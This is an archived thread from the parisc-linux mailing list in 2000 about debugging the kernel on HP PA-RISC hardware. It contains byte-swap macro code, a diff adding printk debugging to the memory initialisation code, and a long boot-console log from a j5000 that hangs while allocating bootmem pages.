Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] code 28 in msdos_partition()
Date: Wed, 19 Apr 2000 13:10:38 -0700
Lines: 55
Approved: news@gmane.org
Message-ID: <200004192010.NAA25590@milano.cup.hp.com>
References: <E12i03U-000281-00@endor.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618895 32341 80.91.229.3 (22 Nov 2014 01:14:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:55 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Wed Apr 19 14:10:33 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA28627
	for <parisc-linux@puffin.external.hp.com>; Wed, 19 Apr 2000 14:10:32 -0600
Original-Received: (qmail 7827 invoked by uid 15267); 19 Apr 2000 20:10:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7808 invoked from network); 19 Apr 2000 20:10:31 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 19 Apr 2000 20:10:31 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP id EE6B11372
	for <parisc-linux@thepuffingroup.com>; Wed, 19 Apr 2000 13:10:25 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0.1) id NAA25590 for <parisc-linux@thepuffingroup.com>; Wed, 19 Apr 2000 13:10:39 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 19 Apr 2000 13:22:32 PDT."
             <E12i03U-000281-00@endor.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7222

Paul Bame wrote:
> I'm interested in looking at this problem and seeing disks work in
> general.  But I can't help since I don't have a box which seems to be
> able to find SCSI drives (tried 712, b180, c360, and c3k).  Can you
> give me a clue how to reproduce what you're seeing?

I've posted my .config on puffin.external.hp.com:~grundler/config.SCSI.
This works on the c3000. Folks who want to see that file but
don't have access should please e-mail me privately.

> With my limited experience with Linux disks and software, the
> partition table access is usually aligned right anyway, so I think
> alignment traps here should be rare.

Agreed. but not in this case.


> = The problem which distracted me was the use of generic
> = swap macros by get_unaligned. parisc-linux defines architecture
> = specific macros and I couldn't figure out why those
> = were NOT being used. Any takers for this too?
> 
> Are you asking about le32_to_cpu() versus __le32_to_cpu()?  (Not that
> I have an answer -- I'm just wondering if that's the question)

I'm seeing use of
#define ___swab32(x) \
        ((__u32)( \
                (((__u32)(x) & (__u32)0x000000ffUL) << 24) | \
                (((__u32)(x) & (__u32)0x0000ff00UL) <<  8) | \
                (((__u32)(x) & (__u32)0x00ff0000UL) >>  8) | \
                (((__u32)(x) & (__u32)0xff000000UL) >> 24) ))

(from include/linux/byteorder/swab.h)

Instead of
static __inline__ __const__ __u32 ___arch__swab32(__u32 x)
{
        unsigned int temp;
        __asm__("shd %0, %0, 16, %1\n\t"        /* shift abcdabcd -> cdab */
                "dep %1, 15, 8, %1\n\t"         /* deposit cdab -> cbab */
                "shd %0, %1, 8, %0"             /* shift abcdcbab -> dcba */
                : "=r" (x), "=&r" (temp)
                : "0" (x));
        return x;
}

(from include/asm-parisc/byteorder.h)

grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:12:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2-way j5000 hangs early
Date: Thu, 20 Apr 2000 15:08:02 -0700
Lines: 435
Approved: news@gmane.org
Message-ID: <200004202208.PAA02080@milano.cup.hp.com>
References: <200004190101.SAA24682@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618895 32343 80.91.229.3 (22 Nov 2014 01:14:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:55 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Thu Apr 20 16:14:58 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA09451
	for <parisc-linux@puffin.external.hp.com>; Thu, 20 Apr 2000 16:14:57 -0600
Original-Received: (qmail 2071 invoked by uid 15267); 20 Apr 2000 22:14:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2049 invoked from network); 20 Apr 2000 22:14:54 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 20 Apr 2000 22:14:54 -0000
Original-Received: from l3107mxr.atl.hp.com (l3107mxr.atl.hp.com [15.19.254.19])
	by palrel1.hp.com (Postfix) with ESMTP id C1BE219ED
	for <parisc-linux@thepuffingroup.com>; Thu, 20 Apr 2000 15:14:50 -0700 (PDT)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by l3107mxr.atl.hp.com (Postfix) with ESMTP id C28D14FF59
	for <parisc-linux@thepuffingroup.com>; Thu, 20 Apr 2000 18:07:52 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0.1) id PAA02080 for <parisc-linux@thepuffingroup.com>; Thu, 20 Apr 2000 15:08:05 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 18 Apr 2000 18:01:39 PDT."
             <200004190101.SAA24682@milano.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7223

Grant Grundler wrote:
> Hi all,
> 
> I was hoping to use a j5000 to debug problems with built-in 100BT
> but couldn't even "get off the ground" (so to speak).

More data.  I've added printk's to two files:

grundler <540>cvs diff -u arch/parisc/mm/init.c
Index: arch/parisc/mm/init.c
===================================================================
RCS file: /home/cvs/parisc/linux-2.3/arch/parisc/mm/init.c,v
retrieving revision 1.12
diff -u -r1.12 init.c
--- init.c      2000/04/14 16:47:14     1.12
+++ init.c      2000/04/20 21:59:06
@@ -149,6 +149,7 @@
        /* Map whole memory from PAGE_OFFSET */
        pg_dir += USER_PGD_PTRS;
 
+printk(__FUNCTION__ " pg_table ");
        while (address < mem_max) {
                /* XXX: BTLB should be done here */
 
@@ -166,6 +167,7 @@
 
                /* now change pg_table to kernel virtual addresses */
                pg_table = (pte_t *) __va(pg_table);
+printk(" 0x%lx ", pg_table);
                for (tmp = 0 ; tmp < PTRS_PER_PTE ; tmp++,pg_table++) {
                        pte_t pte = __mk_pte(address, PAGE_KERNEL);
                        if (address >= mem_max)
@@ -183,8 +185,10 @@
        memset(empty_zero_page, 0, NUM_COLOURS * PAGE_SIZE);
 #endif
 
+printk("\n"__FUNCTION__ " calling alloc_bootmem_pages()\n");
        empty_zero_page = alloc_bootmem_pages(PAGE_SIZE);
        memset(empty_zero_page, 0, PAGE_SIZE);
+printk(__FUNCTION__ " done zp 0x%lx\n", empty_zero_page);
 }
 
 unsigned long gateway_pgd_offset;


grundler <541>cvs diff  -u mm/bootmem.c        
Index: mm/bootmem.c
===================================================================
RCS file: /home/cvs/parisc/linux-2.3/mm/bootmem.c,v
retrieving revision 1.5
diff -u -r1.5 bootmem.c
--- bootmem.c   2000/03/26 22:29:38     1.5
+++ bootmem.c   2000/04/20 22:00:23
@@ -210,6 +210,9 @@
                bdata->last_offset = size & ~PAGE_MASK;
                ret = phys_to_virt(start * PAGE_SIZE + bdata->node_boot_start);
        }
+
+printk(__FUNCTION__ " ret 0x%lx\n", ret);
+
        /*
         * Reserve the area now:
         */


And I've appended the console output.
I'll keep digging but I don't know WTF to look for.

I also noticed that we don't print a message when crippling
the box to 128MB of physical memory. I'm going to add
that back to make sure it's happening *before* this
init stuff happens.

thanks,
grant "my brain is hurting" grundler


Firmware Version 3.5

Duplex Console IO Dependent Code (IODC) revision 1

------------------------------------------------------------------------------
   (c) Copyright 1995-1999, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           Coprocessor State  I/D Cache 
  ---------  --------   ---------------------  -----------------  -------------
      0      440 MHz    Active                 Functional         512 kB/1 MB
      1      440 MHz    Stopped:Deconfigured   Unknown            512 kB/1 MB

  Central Bus Speed:                   120 MHz

  Available memory:             2147483648 bytes
  Good memory required:            9527296 bytes

  Primary boot path:    FWSCSI.6.0
  Alternate boot path:  SCSI.6.0
  Console path:         PCI7.0.0
  Keyboard path:        USB

CPU 0
WARNING:  Processor self-tests have been disabled because FASTBOOT is
          enabled.  To enable self-tests, disable FASTBOOT with the FASTBOOT
          command in the CONFIGURATION menu and reboot the system.
WARNING:  Memory has been initialized but not tested because FASTBOOT is
          enabled.  To test memory, disable FASTBOOT with the FASTBOOT
          command in the CONFIGURATION menu and reboot the system.


Searching for device(s) with bootable media...
This may take several minutes.

To discontinue search, press any key (termination may not be immediate).


   Path Number        Device Path              Device Type and Utilities
   -----------        -----------------        -------------------------
   P0                 LAN.15.8.80.76.3.254     15.8.80.76   100/Half Dx
                                               IPL
   P1                 FWSCSI.6.0               QUANTUM ATLAS10K-9LVD   
                                               IPL



Enter Path Number or Device Path to continue boot sequence.  Enter NO to go
to main menu.
> bo lan
Interact with IPL (Y, N, Q)?> n

Booting... 
Network Station Address 001083-7a0f6c

System IP Address 15.8.80.77
Server IP Address 15.8.80.76

Boot IO Dependent Code (IODC) revision 2


HARD Booted.
palo ipl grundler@rock Thu Apr 20 14:40:28 PDT 2000
0/vmlinux 1961104 bytes @ 0x7000
0/palo-cmdline '0/vmlinux HOME=/ TERM=LINUX root=/dev/nfs nfsroot=15.8.80.76'
0/ramdisk 614400 bytes @ 0x1e5c90
Kernel: partition 0 file /vmlinux
ELF32 executable

Entry 0010177c first 00100000 n 4
Segment 0 load 00100000 size 1105044 mediaptr 0x1000
Segment 1 load 0020e000 size 95400 mediaptr 0x10f000
Segment 2 load 00228000 size 56116 mediaptr 0x127000
Segment 3 load 00238000 size 8192 mediaptr 0x135000
branching to kernel entry point 0x0010177c
The Kernel has started...
Free memory starts at: 0xc02a4000
PALO command line: 'HOME=/ TERM=LINUX root=/dev/nfs nfsroot=15.8.80.76'
PALO initrd 0-0
FP CCR was 0x0, will be set to 0xc0
model   00005bd0 00000491 00000000 00000002 77fc84a7 100000f0 00000008 000000b2 000000b2
vers    00000201
cpuid   00000225
CPUID vers 17 rev 5
CPU(s): 1 x PA8500 at 440.000000 MHz
Searching for devices in PDC firmware... a newer box...
Found devices:
1. Astro BC Runway Port (12) at 0xfed00000, versions 0x582, 0x0, 0xb, 0x0, 0x10
2. Elroy PCI Bridge (13) at 0xfed30000, versions 0x782, 0x0, 0xa, 0x0, 0x0
3. Elroy PCI Bridge (13) at 0xfed32000, versions 0x782, 0x0, 0xa, 0x0, 0x0
4. Elroy PCI Bridge (13) at 0xfed34000, versions 0x782, 0x0, 0xa, 0x0, 0x0
5. Elroy PCI Bridge (13) at 0xfed38000, versions 0x782, 0x0, 0xa, 0x0, 0x0
6. Elroy PCI Bridge (13) at 0xfed3c000, versions 0x782, 0x0, 0xa, 0x0, 0x0
7. Forte W 2-way (0) at 0xfffa0000, versions 0x5bd, 0x0, 0x4, 0x0, 0x91
8. Forte 2w Memory (1) at 0xfed10200, versions 0x88, 0x0, 0x9, 0x0, 0x0
That's a total of 8 devices.
Linux version 2.3.99-pre1 (grundler@rock) (gcc version 2.9-hppa-991112) #17 Thu Apr 20 14:40:22 PDT 2000
initrd: 00000000-00000000
pagetable_init
pagetable_init pg_table  0xc021d000  0xc021e000 __alloc_bootmem_core ret 0xc02b4000
 0xc02b4000 __alloc_bootmem_core ret 0xc02b5000
 0xc02b5000 __alloc_bootmem_core ret 0xc02b6000
 0xc02b6000 __alloc_bootmem_core ret 0xc02b7000
 0xc02b7000 __alloc_bootmem_core ret 0xc02b8000
 0xc02b8000 __alloc_bootmem_core ret 0xc02b9000
 0xc02b9000 __alloc_bootmem_core ret 0xc02ba000
 0xc02ba000 __alloc_bootmem_core ret 0xc02bb000
 0xc02bb000 __alloc_bootmem_core ret 0xc02bc000
 0xc02bc000 __alloc_bootmem_core ret 0xc02bd000
 0xc02bd000 __alloc_bootmem_core ret 0xc02be000
 0xc02be000 __alloc_bootmem_core ret 0xc02bf000
 0xc02bf000 __alloc_bootmem_core ret 0xc02c0000
 0xc02c0000 __alloc_bootmem_core ret 0xc02c1000
 0xc02c1000 __alloc_bootmem_core ret 0xc02c2000
 0xc02c2000 __alloc_bootmem_core ret 0xc02c3000
 0xc02c3000 __alloc_bootmem_core ret 0xc02c4000
 0xc02c4000 __alloc_bootmem_core ret 0xc02c5000
 0xc02c5000 __alloc_bootmem_core ret 0xc02c6000
 0xc02c6000 __alloc_bootmem_core ret 0xc02c7000
 0xc02c7000 __alloc_bootmem_core ret 0xc02c8000
 0xc02c8000 __alloc_bootmem_core ret 0xc02c9000
 0xc02c9000 __alloc_bootmem_core ret 0xc02ca000
 0xc02ca000 __alloc_bootmem_core ret 0xc02cb000
 0xc02cb000 __alloc_bootmem_core ret 0xc02cc000
 0xc02cc000 __alloc_bootmem_core ret 0xc02cd000
 0xc02cd000 __alloc_bootmem_core ret 0xc02ce000
 0xc02ce000 __alloc_bootmem_core ret 0xc02cf000
 0xc02cf000 __alloc_bootmem_core ret 0xc02d0000
 0xc02d0000 __alloc_bootmem_core ret 0xc02d1000
 0xc02d1000 __alloc_bootmem_core ret 0xc02d2000
 0xc02d2000 __alloc_bootmem_core ret 0xc02d3000
 0xc02d3000 __alloc_bootmem_core ret 0xc02d4000
 0xc02d4000 __alloc_bootmem_core ret 0xc02d5000
 0xc02d5000 __alloc_bootmem_core ret 0xc02d6000
 0xc02d6000 __alloc_bootmem_core ret 0xc02d7000
 0xc02d7000 __alloc_bootmem_core ret 0xc02d8000
 0xc02d8000 __alloc_bootmem_core ret 0xc02d9000
 0xc02d9000 __alloc_bootmem_core ret 0xc02da000
 0xc02da000 __alloc_bootmem_core ret 0xc02db000
 0xc02db000 __alloc_bootmem_core ret 0xc02dc000
 0xc02dc000 __alloc_bootmem_core ret 0xc02dd000
 0xc02dd000 __alloc_bootmem_core ret 0xc02de000
 0xc02de000 __alloc_bootmem_core ret 0xc02df000
 0xc02df000 __alloc_bootmem_core ret 0xc02e0000
 0xc02e0000 __alloc_bootmem_core ret 0xc02e1000
 0xc02e1000 __alloc_bootmem_core ret 0xc02e2000
 0xc02e2000 __alloc_bootmem_core ret 0xc02e3000
 0xc02e3000 __alloc_bootmem_core ret 0xc02e4000
 0xc02e4000 __alloc_bootmem_core ret 0xc02e5000
 0xc02e5000 __alloc_bootmem_core ret 0xc02e6000
 0xc02e6000 __alloc_bootmem_core ret 0xc02e7000
 0xc02e7000 __alloc_bootmem_core ret 0xc02e8000
 0xc02e8000 __alloc_bootmem_core ret 0xc02e9000
 0xc02e9000 __alloc_bootmem_core ret 0xc02ea000
 0xc02ea000 __alloc_bootmem_core ret 0xc02eb000
 0xc02eb000 __alloc_bootmem_core ret 0xc02ec000
 0xc02ec000 __alloc_bootmem_core ret 0xc02ed000
 0xc02ed000 __alloc_bootmem_core ret 0xc02ee000
 0xc02ee000 __alloc_bootmem_core ret 0xc02ef000
 0xc02ef000 __alloc_bootmem_core ret 0xc02f0000
 0xc02f0000 __alloc_bootmem_core ret 0xc02f1000
 0xc02f1000 __alloc_bootmem_core ret 0xc02f2000
 0xc02f2000 __alloc_bootmem_core ret 0xc02f3000
 0xc02f3000 __alloc_bootmem_core ret 0xc02f4000
 0xc02f4000 __alloc_bootmem_core ret 0xc02f5000
 0xc02f5000 __alloc_bootmem_core ret 0xc02f6000
 0xc02f6000 __alloc_bootmem_core ret 0xc02f7000
 0xc02f7000 __alloc_bootmem_core ret 0xc02f8000
 0xc02f8000 __alloc_bootmem_core ret 0xc02f9000
 0xc02f9000 __alloc_bootmem_core ret 0xc02fa000
 0xc02fa000 __alloc_bootmem_core ret 0xc02fb000
 0xc02fb000 __alloc_bootmem_core ret 0xc02fc000
 0xc02fc000 __alloc_bootmem_core ret 0xc02fd000
 0xc02fd000 __alloc_bootmem_core ret 0xc02fe000
 0xc02fe000 __alloc_bootmem_core ret 0xc02ff000
 0xc02ff000 __alloc_bootmem_core ret 0xc0300000
 0xc0300000 __alloc_bootmem_core ret 0xc0301000
 0xc0301000 __alloc_bootmem_core ret 0xc0302000
 0xc0302000 __alloc_bootmem_core ret 0xc0303000
 0xc0303000 __alloc_bootmem_core ret 0xc0304000
 0xc0304000 __alloc_bootmem_core ret 0xc0305000
 0xc0305000 __alloc_bootmem_core ret 0xc0306000
 0xc0306000 __alloc_bootmem_core ret 0xc0307000
 0xc0307000 __alloc_bootmem_core ret 0xc0308000
 0xc0308000 __alloc_bootmem_core ret 0xc0309000
 0xc0309000 __alloc_bootmem_core ret 0xc030a000
 0xc030a000 __alloc_bootmem_core ret 0xc030b000
 0xc030b000 __alloc_bootmem_core ret 0xc030c000
 0xc030c000 __alloc_bootmem_core ret 0xc030d000
 0xc030d000 __alloc_bootmem_core ret 0xc030e000
 0xc030e000 __alloc_bootmem_core ret 0xc030f000
 0xc030f000 __alloc_bootmem_core ret 0xc0310000
 0xc0310000 __alloc_bootmem_core ret 0xc0311000
 0xc0311000 __alloc_bootmem_core ret 0xc0312000
 0xc0312000 __alloc_bootmem_core ret 0xc0313000
 0xc0313000 __alloc_bootmem_core ret 0xc0314000
 0xc0314000 __alloc_bootmem_core ret 0xc0315000
 0xc0315000 __alloc_bootmem_core ret 0xc0316000
 0xc0316000 __alloc_bootmem_core ret 0xc0317000
 0xc0317000 __alloc_bootmem_core ret 0xc0318000
 0xc0318000 __alloc_bootmem_core ret 0xc0319000
 0xc0319000 __alloc_bootmem_core ret 0xc031a000
 0xc031a000 __alloc_bootmem_core ret 0xc031b000
 0xc031b000 __alloc_bootmem_core ret 0xc031c000
 0xc031c000 __alloc_bootmem_core ret 0xc031d000
 0xc031d000 __alloc_bootmem_core ret 0xc031e000
 0xc031e000 __alloc_bootmem_core ret 0xc031f000
 0xc031f000 __alloc_bootmem_core ret 0xc0320000
 0xc0320000 __alloc_bootmem_core ret 0xc0321000
 0xc0321000 __alloc_bootmem_core ret 0xc0322000
 0xc0322000 __alloc_bootmem_core ret 0xc0323000
 0xc0323000 __alloc_bootmem_core ret 0xc0324000
 0xc0324000 __alloc_bootmem_core ret 0xc0325000
 0xc0325000 __alloc_bootmem_core ret 0xc0326000
 0xc0326000 __alloc_bootmem_core ret 0xc0327000
 0xc0327000 __alloc_bootmem_core ret 0xc0328000
 0xc0328000 __alloc_bootmem_core ret 0xc0329000
 0xc0329000 __alloc_bootmem_core ret 0xc032a000
 0xc032a000 __alloc_bootmem_core ret 0xc032b000
 0xc032b000 __alloc_bootmem_core ret 0xc032c000
 0xc032c000 __alloc_bootmem_core ret 0xc032d000
 0xc032d000 __alloc_bootmem_core ret 0xc032e000
 0xc032e000 __alloc_bootmem_core ret 0xc032f000
 0xc032f000 __alloc_bootmem_core ret 0xc0330000
 0xc0330000 __alloc_bootmem_core ret 0xc0331000
 0xc0331000 __alloc_bootmem_core ret 0xc0332000
 0xc0332000 __alloc_bootmem_core ret 0xc0333000
 0xc0333000 __alloc_bootmem_core ret 0xc0334000
 0xc0334000 __alloc_bootmem_core ret 0xc0335000
 0xc0335000 __alloc_bootmem_core ret 0xc0336000
 0xc0336000 __alloc_bootmem_core ret 0xc0337000
 0xc0337000 __alloc_bootmem_core ret 0xc0338000
 0xc0338000 __alloc_bootmem_core ret 0xc0339000
 0xc0339000 __alloc_bootmem_core ret 0xc033a000
 0xc033a000 __alloc_bootmem_core ret 0xc033b000
 0xc033b000 __alloc_bootmem_core ret 0xc033c000
 0xc033c000 __alloc_bootmem_core ret 0xc033d000
 0xc033d000 __alloc_bootmem_core ret 0xc033e000
 0xc033e000 __alloc_bootmem_core ret 0xc033f000
 0xc033f000 __alloc_bootmem_core ret 0xc0340000
 0xc0340000 __alloc_bootmem_core ret 0xc0341000
 0xc0341000 __alloc_bootmem_core ret 0xc0342000
 0xc0342000 __alloc_bootmem_core ret 0xc0343000
 0xc0343000 __alloc_bootmem_core ret 0xc0344000
 0xc0344000 __alloc_bootmem_core ret 0xc0345000
 0xc0345000 __alloc_bootmem_core ret 0xc0346000
 0xc0346000 __alloc_bootmem_core ret 0xc0347000
 0xc0347000 __alloc_bootmem_core ret 0xc0348000
 0xc0348000 __alloc_bootmem_core ret 0xc0349000
 0xc0349000 __alloc_bootmem_core ret 0xc034a000
 0xc034a000 __alloc_bootmem_core ret 0xc034b000
 0xc034b000 __alloc_bootmem_core ret 0xc034c000
 0xc034c000 __alloc_bootmem_core ret 0xc034d000
 0xc034d000 __alloc_bootmem_core ret 0xc034e000
 0xc034e000 __alloc_bootmem_core ret 0xc034f000
 0xc034f000 __alloc_bootmem_core ret 0xc0350000
 0xc0350000 __alloc_bootmem_core ret 0xc0351000
 0xc0351000 __alloc_bootmem_core ret 0xc0352000
 0xc0352000 __alloc_bootmem_core ret 0xc0353000
 0xc0353000 __alloc_bootmem_core ret 0xc0354000
 0xc0354000 __alloc_bootmem_core ret 0xc0355000
 0xc0355000 __alloc_bootmem_core ret 0xc0356000
 0xc0356000 __alloc_bootmem_core ret 0xc0357000
 0xc0357000 __alloc_bootmem_core ret 0xc0358000
 0xc0358000 __alloc_bootmem_core ret 0xc0359000
 0xc0359000 __alloc_bootmem_core ret 0xc035a000
 0xc035a000 __alloc_bootmem_core ret 0xc035b000
 0xc035b000 __alloc_bootmem_core ret 0xc035c000
 0xc035c000 __alloc_bootmem_core ret 0xc035d000
 0xc035d000 __alloc_bootmem_core ret 0xc035e000
 0xc035e000 __alloc_bootmem_core ret 0xc035f000
 0xc035f000 __alloc_bootmem_core ret 0xc0360000
 0xc0360000 __alloc_bootmem_core ret 0xc0361000
 0xc0361000 __alloc_bootmem_core ret 0xc0362000
 0xc0362000 __alloc_bootmem_core ret 0xc0363000
 0xc0363000 __alloc_bootmem_core ret 0xc0364000
 0xc0364000 __alloc_bootmem_core ret 0xc0365000
 0xc0365000 __alloc_bootmem_core ret 0xc0366000
 0xc0366000 __alloc_bootmem_core ret 0xc0367000
 0xc0367000 __alloc_bootmem_core ret 0xc0368000
 0xc0368000 __alloc_bootmem_core ret 0xc0369000
 0xc0369000 __alloc_bootmem_core ret 0xc036a000
 0xc036a000 __alloc_bootmem_core ret 0xc036b000
 0xc036b000 __alloc_bootmem_core ret 0xc036c000
 0xc036c000 __alloc_bootmem_core ret 0xc036d000
 0xc036d000 __alloc_bootmem_core ret 0xc036e000
 0xc036e000 __alloc_bootmem_core ret 0xc036f000
 0xc036f000 __alloc_bootmem_core ret 0xc0370000
 0xc0370000 __alloc_bootmem_core ret 0xc0371000
 0xc0371000 __alloc_bootmem_core ret 0xc0372000
 0xc0372000 __alloc_bootmem_core ret 0xc0373000
 0xc0373000 __alloc_bootmem_core ret 0xc0374000
 0xc0374000 __alloc_bootmem_core ret 0xc0375000
 0xc0375000 __alloc_bootmem_core ret 0xc0376000
 0xc0376000 __alloc_bootmem_core ret 0xc0377000
 0xc0377000 __alloc_bootmem_core ret 0xc0378000
 0xc0378000 __alloc_bootmem_core ret 0xc0379000
 0xc0379000 __alloc_bootmem_core ret 0xc037a000
 0xc037a000 __alloc_bootmem_core ret 0xc037b000
 0xc037b000 __alloc_bootmem_core ret 0xc037c000
 0xc037c000 __alloc_bootmem_core ret 0xc037d000
 0xc037d000 __alloc_bootmem_core ret 0xc037e000
 0xc037e000 __alloc_bootmem_core ret 0xc037f000
 0xc037f000 __alloc_bootmem_core ret 0xc0380000
 0xc0380000 __alloc_bootmem_core ret 0xc0381000
 0xc0381000 __alloc_bootmem_core ret 0xc0382000
 0xc0382000 __alloc_bootmem_core ret 0xc0383000
 0xc0383000 __alloc_bootmem_core ret 0xc0384000
 0xc0384000 __alloc_bootmem_core ret 0xc0385000
 0xc0385000 __alloc_bootmem_core ret 0xc0386000
 0xc0386000 __alloc_bootmem_core ret 0xc0387000
 0xc0387000 __alloc_bootmem_core ret 0xc0388000
 0xc0388000 __alloc_bootmem_core ret 0xc0389000
 0xc0389000 __alloc_bootmem_core ret 0xc038a000
 0xc038a000 __alloc_bootmem_core ret 0xc038b000
 0xc038b000 __alloc_bootmem_core ret 0xc038c000
 0xc038c000 __alloc_bootmem_core ret 0xc038d000
 0xc038d000 __alloc_bootmem_core ret 0xc038e000
 0xc038e000 __alloc_bootmem_core ret 0xc038f000
 0xc038f000 __alloc_bootmem_core ret 0xc0390000
 0xc0390000 __alloc_bootmem_core ret 0xc0391000
 0xc0391000 __alloc_bootmem_core ret 0xc0392000
 0xc0392000 __alloc_bootmem_core ret 0xc0393000
 0xc0393000 __alloc_bootmem_core ret 0xc0394000
 0xc0394000 __alloc_bootmem_core ret 0xc0395000
 0xc0395000 __alloc_bootmem_core ret 0xc0396000
 0xc0396000 __alloc_bootmem_core ret 0xc0397000
 0xc0397000 __alloc_bootmem_core ret 0xc0398000
 0xc0398000 __alloc_bootmem_core ret 0xc0399000
 0xc0399000 __alloc_bootmem_core ret 0xc039a000
 0xc039a000 __alloc_bootmem_core ret 0xc039b000
 0xc039b000 __alloc_bootmem_core ret 0xc039c000
 0xc039c000 __alloc_bootmem_core ret 0xc039d000
 0xc039d000 __alloc_bootmem_core ret 0xc039e000
 0xc039e000 __alloc_bootmem_core ret 0xc039f000
 0xc039f000 __alloc_bootmem_core ret 0xc03a0000
 0xc03a0000 __alloc_bootmem_core ret 0xc03a1000
 0xc03a1000 __alloc_bootmem_core ret 0xc03a2000
 0xc03a2000 __alloc_bootmem_core ret 0xc03a3000
 0xc03a3000 __alloc_bootmem_core ret 0xc03a4000
 0xc03a4000 __alloc_bootmem_core ret 0xc03a5000
 0xc03a5000 __alloc_bootmem_core ret 0xc03a6000
 0xc03a6000 __alloc_bootmem_core ret 0xc03a7000
 0xc03a7000 __alloc_bootmem_core ret 0xc03a8000
 0xc03a8000 __alloc_bootmem_core ret 0xc03a9000
 0xc03a9000 __alloc_bootmem_core ret 0xc03aa000
 0xc03aa000 __alloc_bootmem_core ret 0xc03ab000
 0xc03ab000 __alloc_bootmem_core ret 0xc03ac000
 0xc03ac000 __alloc_bootmem_core ret 0xc03ad000
 0xc03ad000 __alloc_bootmem_core ret 0xc03ae000
 0xc03ae000 __alloc_bootmem_core ret 0xc03af000
 0xc03af000 __alloc_bootmem_core ret 0xc03b0000
 0xc03b0000 __alloc_bootmem_core ret 0xc03b1000
 0xc03b1000 __alloc_bootmem_core ret 0xc03b2000
c6000  0xc00c7000  0xc00c8000  0xc00c9000  0xc00ca000  0xc00cb000  0xc00cc000  0xc00cd000  0xc00ce000  0xc00cf000  0xc00d0000  0xc00d1000  0xc00d2000  0xc00d3000  0xc00d4000  0xc00d5000  0xc00d6000  0xc00d7000  0xc00d8000  0xc00d9000  0xc00da000  0xc00db000  0xc00dc000  0xc00dd000  0xc00de000  0xc00df000  0xc00e0000  0xc00e1000  0xc00e2000  0xc00e3000  0xc00e4000  0xc00e5000  0xc00e6000  0xc00e7000  0xc00e8000  0xc00e9000  0xc00ea000  0xc00eb000  0xc00ec000  0xc00ed000  0xc00ee000  0xc00ef000  0xc00f0000  0xc00f1000  0xc00f2000  0xc00f3000  0xc00f4000  0xc00f5000  0xc00f6000  0xc00f7000  0xc00f8000  0xc00f9000  0xc00fa000  0xc00fb000  0xc00fc000  0xc00fd000  0xc00fe000  0xc00ff000 
pagetable_init calling alloc_bootmem_pages()
__alloc_bootmem_core ret 0x0


From - Thu Nov 08 21:12:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2-way j5000 hangs early
Date: Thu, 20 Apr 2000 15:36:56 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <200004202236.PAA02144@milano.cup.hp.com>
References: <200004202208.PAA02080@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618895 32347 80.91.229.3 (22 Nov 2014 01:14:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:55 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Thu Apr 20 16:36:46 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA09978
	for <parisc-linux@puffin.external.hp.com>; Thu, 20 Apr 2000 16:36:46 -0600
Original-Received: (qmail 15203 invoked by uid 15267); 20 Apr 2000 22:36:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15196 invoked from network); 20 Apr 2000 22:36:47 -0000
Original-Received: from cosrel2.hp.com (156.153.255.162)
